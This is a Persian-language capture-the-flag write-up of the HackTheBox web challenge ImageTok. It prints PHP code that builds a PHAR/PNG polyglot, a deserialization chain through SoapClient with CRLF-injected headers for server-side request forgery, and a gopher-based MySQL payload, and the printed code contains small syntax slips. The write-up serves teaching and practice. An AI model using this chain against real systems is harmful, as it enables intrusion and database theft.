در این مطلب نتیجه چندین روز تلاش تیم Unk9vvN برای حل سخت ترین (تا امروز) چالش سایت HackTheBox به اسم ImageTok را تشریح می کنیم. در این چالش وب، کد منبع (source code) برنامه سمت سرور فاش است. یعنی ما تمام کد PHP سمت سرور، Dockerfile مربوط به راه اندازی سرور و تمام فایل های تنظیمات را در اختیار داریم. با نگاهی کلی به ساختار فایل ها و معماری کلی برنامه، می توان تشابه زیادی با Web Framework های مشهوری مثل Laravel یا Symfony دید. اما در این چالش، یک فریمورک شخصی و ساده توسعه داده شده است.
بررسی فایل entrypoint.sh
این فایل که وظیفه راه اندازی اولیه ماشین را دارد، شامل اطلاعات مهمی است. از این فایل می توان فهمید که پرچم در پایگاه داده قرار دارد.
INSERT INTO $DB_NAME.definitely_not_a_flag (flag) VALUES('HTB{f4k3_fl4g_f0r_t3st1ng}');
از همین فایل مشخص می شود که پایگاه داده رمز ندارد و نام کاربری و نام پایگاه داده که مقادیری تصادفی هستند، به عنوان پارامتر به CGI وارد شده اند.
echo -e "fastcgi_param DB_NAME $DB_NAME;nfastcgi_param DB_USER $DB_USER;nfastcgi_param DB_PASS '';" >> /etc/nginx/fastcgi_params
همچنین مشخص است که SECRET
استفاده شده در فایل index.php
قبل از اجرا با مقداری کاملا تصادفی جایگزین می شود که بعدا بیشتر در مورد آن توضیح می دهم.
sed -i "s/[REDACTED SECRET]/$SECRET/g" /www/index.php
تحلیل چگونگی پاسخگویی سرور به درخواست ها
با توجه به فایل nginx.conf
می توان دریافت که تمام درخواست هایی که توسط سرور تجزیه و تحلیل می شود به فایل index.php
برای دریافت پاسخ، ارسال می شود.
location / { try_files $uri $uri/ /index.php?$query_string; location ~ .php$ { try_files $uri =404; fastcgi_pass unix:/run/php-fpm.sock; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } }
مهم ترین بخش فایل index.php
بخش تعریف مسیر های وبسایت است که به شکل زیر تعریف شده است. هر مسیر با Method مشخص (POST یا GET) به یک تابع درون یکی از کلاس های Controller
مرتبط می شود. کلاس های کنترل همگی در پوشه controllers
تعریف شده اند. در یکی از این مسیر ها، ورودی param
از طرف کاربر نیز به تابع کنترل مربوطه ارسال می شود که جالب توجه است.
$router = new Router(); $router->new('GET', '/', 'ImageController@index'); $router->new('POST', '/upload', 'ImageController@store'); $router->new('GET', '/image/{param}', 'ImageController@show'); $router->new('POST', '/proxy', 'ProxyController@index'); $router->new('GET', '/info', function(){ return phpinfo(); });
بررسی Route ها
در اولین مسیر (ریشه سایت) فرم آپلود وجود دارد و جای کنکاش چندانی نیست. اما در دیگر مسیر ها موارد مهمی هست که باید بررسی شود:
info/
در این صفحه اطلاعات مفید تابعphpinfo
وجود دارد که قطعا در ادامه حل چالش مفید خواهند بود.upload/
مسیری است که فرم آپلود، اطلاعات را به آن میفرستد. این پخش فایل آپلود شده را دریافت می کند و پس از گذراندن از فیلتر های مشخص در سمت سرور ذخیره می کند.image/{param}/
از این مسیر می توان فایل آپلود شده را مشاهده کرد. (البته یک سری فیلتر در این مرحله اعمال می شود.)proxy/
پس از چند شرط از جمله admin بودن نام کاربری ذخیره شده در نشست فعلی و127.0.0.1
بودن آدرس آیپی کلاینت، با استفاده از CURL درخواستی به آدرس مشخص شده در پارامترurl
ارسال می کند.
تا اینجا می توان اینطور تصور کرد که ما باید بتوانیم با دسترسی پیدا کردن به مسیر proxy/
و رد کردن تمام فیلتر های موجود، درخواستی به وسیله CURL ارسال کنیم. اما سوالی که مطرح می شود این است که به کجا؟
از آنجایی که این سرور در Docker راه اندازی شده است و جز یک پورت (وب) پورتی را به بیرون باز نکرده است، ما مستقیما به پایگاه داده دسترسی نداریم و حتی با این که نام کاربری و رمز ورود را میدانیم، نمی توانیم به پایگاه داده دسترسی بگیریم. با این اوصاف، به نظر این سناریو بسیار محتمل است که با ارسال درخواست از سمت سرور وب (داخل Docker Container) به پایگاه داده، از آن اطلاعات استخراج کنیم. از آنجایی که Wrapper جذاب Gopher برای CURL فعال است (با توجه به phpinfo
)، این سناریو هدف ما قرار گرفت.
بررسی ProxyController
با توجه به تابع index
کلاس ProxyController
که مسیر proxy/
را هندل می کند، ابتدا باید این شرط را دور بزنیم:
if ($session->read('username') != 'admin' || $_SERVER['REMOTE_ADDR'] != '127.0.0.1') { $router->abort(401); }
- باید نام کاربری ثبت شده در Session Cookie برابر admin باشد: برای این مورد باید کلاس مربوط به مدیریت نشست کاربر که در فایل
CustomSessionHandler.php
تعریف شده است، بررسی شود. - باید مقدار
SERVER['REMOTE_ADDR']_$
برابر127.0.0.1
باشد: دو احتمال وجود دارد. اول این که آسیب پذیری ای در تنظیمات وب سرور این امکان را بدهد که مقدارREMOTE_ADDR
را دستکاری کنیم. دوم این یک آسیب پذیری SSRF (Server Side Request Forgery) از سایت کشف کنیم و در صورت امکان از آن استفاده کنیم.
بررسی CustomSessionHandler
در این کلاس دو تابع مهم وجود دارد که کار اصلی امضا کردن کوکی (Cookie) نشست و تایید کردن آن را انجام می دهند.
تابع Constructor
این کلاس، در صورت ارسال کوکی از سمت کاربر، شروع به بررسی صحت آن به وسیله SECRET
می کند. (مقدار SECRET
در فایل entrypoint.sh
بررسی شد که کاملا تصادفی و مقداری غیرقابل حدس زدن است.)
public function __construct() { if (isset($_COOKIE['PHPSESSID'])) { $split = explode('.', $_COOKIE['PHPSESSID']); $data = base64_decode($split[0]); $signature = base64_decode($split[1]); if (password_verify(SECRET.$data, $signature)) { $this->data = json_decode($data, true); } } self::$session = $this; }
تابع save
یک کوکی نشست را امضا کرده و به سمت کاربر ارسال می کند.
public function save() { $json = $this->toJson(); $jsonb64 = base64_encode($json); $signature = base64_encode(password_hash(SECRET.$json, PASSWORD_BCRYPT)); setcookie('PHPSESSID', "${jsonb64}.${signature}", time()+60*60*24, '/'); }
برای مثال این یک نمونه از کوکی نشستی است که توسط این تابع تایید می شود. بخش اول داده ها را در خود دارد و از . به بعد مربوط به امضای داده هاست.
دستکاری مقدار REMOTE_ADDR
جستجوی زیادی انجام دادیم تا آسیب پذیری ای در سرور وب nginx برای این مورد پیدا کنیم. هیچ یک از موارد یافت شده با شرایط این چالش همخوانی نداشتند. در نتیجه به دنبال آسیب پذیری SSRF در وبسایت گشتیم.
آسیب پذیری SSRF
آسیب پذیری SSRF می تواند برای تغییر مقدار REMOTE_ADDR
به 127.0.0.1
استفاده شود. بخشی که می تواند دچار این آسیب پذیری باشد، بیش از همه مسیر image/
است. این مسیر در وبسایت وظیفه نمایش عکس های آپلود شده را به عهده دارد. این کار با دریافت یک پارامتر در URI به عنوان نام فایل عکس، انجام می شود. تابع زیر کنترل مربوط به این مسیر است.
public function show($router, $params) { $path = $params[0]; $image = new ImageModel(new FileModel($path)); if (!$image->file->exists()) { $router->abort(404); } $router->view('show', ['image' => $image->getFile()]); }
در این تابع یک شیء از کلاس ImageModel
ساخته می شود و در صورت وجود این فایل، از تابع getFile
برای نمایش آن در قالب فایل views/show.php
استفاده می شود. این تابع در کلاس ImageModel
به این شکل تعریف شده است:
public function getFile() { if (!$this->isValidImage()) { return 'invalid_image'; } return base64_encode($this->file->getContents()); }
در صورت معتبر بودن فایل به عنوان یک عکس، Base64 شده تابع getContents
کلاس FileModel
باز گردانده می شود.
public function getContents() { return file_get_contents($this->file_name); }
ویژگی file_name
در Constructor
کلاس FileModel
مقداردهی می شود و همان مقدار پارامتری است که به عنوان path از کاربر به عنوان نام فایل عکس دریافت شده است. نکته جالب در این قسمت این است که این پارامتر urldecode
شده است.
public function __construct($file_name) { chdir($_ENV['UPLOAD_DIR'] ?? '/www/uploads'); $this->file_name = urldecode($file_name); parent::__construct(); }
پس ورودی ما در قسمت {param}
مسیر image/{param}/
بدون هیچ پاکسازی ای و بعد از urldecode
شدن به تابع خطرناک file_get_contents
پاس داده می شود. البته یک سری شرط وجود دارد که در صورت برقرار نبودن آنها اجرای برنامه به این تابع نمی رسد. پس لازم است آن شرط ها بررسی شوند.
- تابع
exists
کلاسFileModel
: وجود داشتن فایل. - تابع
isValidImage
کلاسImageModel
: فرمت PNG فایل و ابعاد بیش از 120 در 120.
در اینجا ورودی کاربر بدون پاکسازی به یک تابع خطرناک دیگر به اسم file_exists
پاس داده شده است. یعنی به راحتی می توان از تمام Wrapper های فعال در سمت سرور استفاده کرد. (البته مواردی که در بخش CURL صفحه phpinfo
مشخص شده اند، قاعدتا در اینجا قابل استفاده نیستند.)
public function exists() { return file_exists($this->file_name); }
در این تابع بر اساس محتوای فایل، فرمت و ابعاد آن شناسایی می شود. این بدان معنی است که ما تنها می توانیم محتوای فایل های PNG سمت سرور را استخراج کنیم که جذابیت تابع file_get_contents
را کمتر می کند.
public function isValidImage() { $file_name = $this->file->getFileName(); if (mime_content_type($file_name) != 'image/png') return false; $size = getimagesize($file_name); if (!$size || !($size[0] >= 120 && $size[1] >= 120) || $size[2] !== IMAGETYPE_PNG) return false; return true; }
در بین Wrapper های موجود، phar برای کار ما مناسب است. تیم ما، برای برخی دیگر از گزینه های موجود سناریو هایی را امتحان کرد که هیچ کدام به نتیجه نرسید. مثلا:
- http و https: امکان ارسال درخواست POST را به ما نمی دهد.
- php: هیچ فیلتری برای ارسال درخواست وب وجود ندارد.
بخشی از phpinfo
که نشان می دهد phar wrapper
فعال است.
اما چرا phar مناسب است؟ سناریوی مربوط به آن چه چیزی می تواند باشد؟
حمله با فایل فرمت PHAR
فرمت فایل PHP Archive (PHAR) برای انتشار Package های PHP استفاده می شود و از این جهت مشابه JAR برای زبان Java است.
این فرمت فایل، ویژگی هایی دارد که آن را برای استفاده در این چالش مناسب کرده است. (پیشنهاد میکنم برای آشنایی بیشتر با این فرمت فایل به این لینک مراجعه کنید)
- مناسب برای Polyglot: اولین بخش این فایل stub نام دارد که از بایت صفر فایل شروع می شود. این بخش می تواند هر مقداری داشته باشد. پس این فایل از بایت صفر قابل تغییر است و به سادگی می توان آن را به عنوان فرمت فایل های دیگر (مثلا PNG) جا زد.
- آسیب پذیری Deserialization: این فرمت فایل بخشی به اسم Meta Data دارد. این بخش یک شیء Serialize شده از PHP را در خود ذخیره می کند. هر گاه فایل به وسیله Wrapper مربوطه، یعنی
//:phar
، مورد استفاده قرار گیرد، این شیء به طور خودکار Deserialize می شود.
Polyglot: PHAR / PNG
<?php class ImageModel { public $file; public function __construct() { $this->;file = new SoapClient(null, array( "location" => "http://localhost:80/proxy", "uri" => "http://localhost:80/proxy", "user_agent" => "\r\n\r\n\r\n\r\n" . "POST /proxy HTTP/1.1\r\n" . "Host: admin.imagetok.htb\r\n" . "Connection: close\r\n" . "Cookie: PHPSESSID=$admin_session_cookie;\r\n" . "Content-Type: application/x-www-form-urlencoded\r\n" . "Content-Length: $gopher_payload_length\r\n\r\n" . "url=$gohper_payload" . "r\n\r\n\r\n\" )); } } @unlink('payload.phar'); $phar = new Phar('payload.phar'); $phar->startBuffering(); $phar->addFile($image_file, $image_file); $phar->setStub(file_get_contents($image_file) . ' __HALT_COMPILER(); ?-->'); $phar->setMetadata(new ImageModel()); $phar->stopBuffering(); system('mv payload.phar payload.png');
با اجرای این کد، فایل file.phar
ایجاد می شود که با تغییر نام آن به file.png
می توان آن را به جای فایل PNG در سرور آپلود کرد. البته این یک عکس صحیح و قابل نمایش نیست. اما تمام شرط های سمت سرور را دور میزند. در عین حال این یک فایل PHAR نیز هست که می توان از Deserialization روی Meta Data آن استفاده کرد.
حمله علیه Deserialization
برای انجام این حمله ما نیاز داریم یک POP Chain (Property Oriented Programming) مناسب در برنامه سمت سرور پیدا کنیم. با توجه به این که در PHP نقطه ابتدایی در POP Chain یکی از Magic Method های destruct__
یا awake__
است، در کد سمت سرور به دنبال این توابع گشتیم و فقط یک مورد یافت شد. تابع destruct__
کلاس ImageModel
تنها نقطه ابتدایی برای انجام حمله است.
public function __destruct() { if (!empty($this->file)) { $file_name = $this->file->getFileName(); if (is_null($file_name)) { $error = 'Something went wrong. Please try again later.'; header('Location: /?error=' . urlencode($error)); exit; } } }
در این تابع، از ویژگی file
استفاده شده است. این ویژگی در روند عادی اجرای برنامه یک شیء از نوع FileModel
است. در اینجا تابع getFileName
آن فراخوانی شده است. اما این تابع در کلاس FileModel
کار خطرناکی انجام نمی دهد. در نتیجه باید به دنبال شیئی دیگر برای ویژگی file
باشیم.
پس از جستجوی بسیار و بررسی کلاس های Built-In زبان PHP برای یافتن POP Chain مناسب، به نتیجه ای نرسیدیم و اینجا کار ما برای مدت ها متوقف شد. اما نکته ای بسیار جالب از دید ما مخفی مانده بود. در فایل Dockerfile پکیج php7-soap و چند پکیج دیگر نصب می شود که در برنامه سمت سرور هیچ استفاده ای از آنها نشده است. این نکته در phpinfo
نیز قابل مشاهده است.
این پکیج به عنوان یک extension به زبان PHP اضافه می شود. وظیفه این افزونه فراهم کردن پروتکل SOAP API است و کلاس های Built-In ی را به PHP اضافه می کند که می تواند برای ساخت Payload مربوط به Deserialization مفید باشد.
تابع جادویی call__
کلاس مدنظر SoapClient
است. در این کلاس از Magic Method جذاب call__
استفاده شده است. در صورتی که تابعی از این کلاس فراخوانی شود که تعریف نشده است، به طور پیشفرض این تابع فراخوانی می شود. این دقیقا همان چیزی است که هنگام فراخوانی getFileName
به طور پیشفرض، فراخوانی خواهد شد. جالب آن که تابع call__
در کلاس SoapClient
به گونه ای تعریف شده است که یک درخواست به API هدف ارسال می کند. این یعنی می توان از آن برای حمله SSRF استفاده کرد.
اما چطور می توان Header های درخواست و آدرس و … را مشخص کرد؟ با بررسی طرز استفاده از این کلاس به جواب می رسیم. اگرچه راه مشخصی برای ارسال درخواست POST و تعیین Header ها از راه ایجاد شیء کلاس SoapClient
وجود ندارد، اما می توان از آپشن user_agent
برای انجام تزریق CLRF استفاده کرد. به این شکل ویژگی file
را مقداردهی می کنیم:
class ImageModel { public $file; public function __construct() { $this->file = new SoapClient(null, array( "location" => "http://localhost:80/proxy", "uri" => "http://localhost:80/proxy", "user_agent" =>; "\r\n\r\n\r\n\r\n". "POST /proxy HTTP/1.1\r\n". // new request "Host: admin.imagetok.htb\r\n". "Cookie: PHPSESSID=$ADMIN_SESSID;\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "Content-Length: $LENGTH\r\n\r\n". "url=$URL". "r\n\r\n\r\n\" )); } }
مقدار Host برابر admin.imagetok.htb قرار داده شده است، چرا که در فایل ngnix.conf
دسترسی به مسیر proxy/
، بدون تنظیم کردن این مقدار، غیر فعال شده است. مقدار کوکی نشست نیز باید به گونه ای نتظیم شود که نام کاربری برابر admin باشد. مقدار URL نیز همان پارامتری است که در تابع index کلاس ProxyController
به عنوان مقصد ارسال درخواست گرفته می شود.
تیر خلاص با Gopher
حال کافی است مقدار url
را برابر Payload ساخته شده توسط ابزار Gopherus قرار دهیم. ما نام کاربری و نام پایگاه داده را از phpinfo
استخراج کرده ایم. پس می توانیم Payload را به راحتی ایجاد کنیم. اما دو مسئله وجود دارد.
- در کلاس
ProxyController
سه شرط مربوط به url وجود دارد: این شرط ها با تبدیل//:gopher
به///:gopher
دور زده می شوند. چرا که از تابعempty
روی هر سه پارامترurl
استفاده شده است و خالی بودن آن ها باعث رد شدن از شرط می شود. - ما خروجی اجرای این Payload را نمی بینیم: یک راه می تواند حمله کورکورانه (Blind-Based) باشد که در صورت امکان بسیار زمان بر است. اما یک راه حل هوشمندانه دیگر وجود دارد. کلاس
UserModel
لیست فایل های آپلود شده توسط هر کاربر را از پایگاه داده استخراج می کند و به شکلی که قبلا توضیح داده شده است درون کوکی نشست وارد می کند. این یعنی ما با نوشتن داده های خروجی مورد نظر خود در جدولfiles
پایگاه داده می توانیم آن ها را در کوکی نشست مشاهده کنیم.
public function getFiles() { $files = $this->database->query('SELECT file_name FROM files WHERE username = ? ORDER BY created_at DESC LIMIT 5', [ 's' =>; [$this->user] ]); return $files->fetch_all(MYSQLI_ASSOC) ?? []; }
این کوئری را به عنوان ورودی ابزار Gopherus برای ساخت Payload وارد میکنیم تا پرچم را در کوکی نشست کاربر flag دریافت کنیم. این Payload باید در پارامتر url
مسیر proxy/
از طرف خود سرور، به وسیله SoapClient
ارسال شود تا ما به هدفمان برسیم.
نکته: پس از ارسال این Payload موفق به مشاهده پرچم نشدیم که بعد از کلی بررسی به این نتیجه رسیدیم که Payload مربوط به Gopher باید یک بار دیگر Urlencode شود تا Decode شدن آن در هنگام ارسال توسط SoapClient
بی اثر شود.
بهرهبرداری این چالش هم در Github ما منتشر شده است.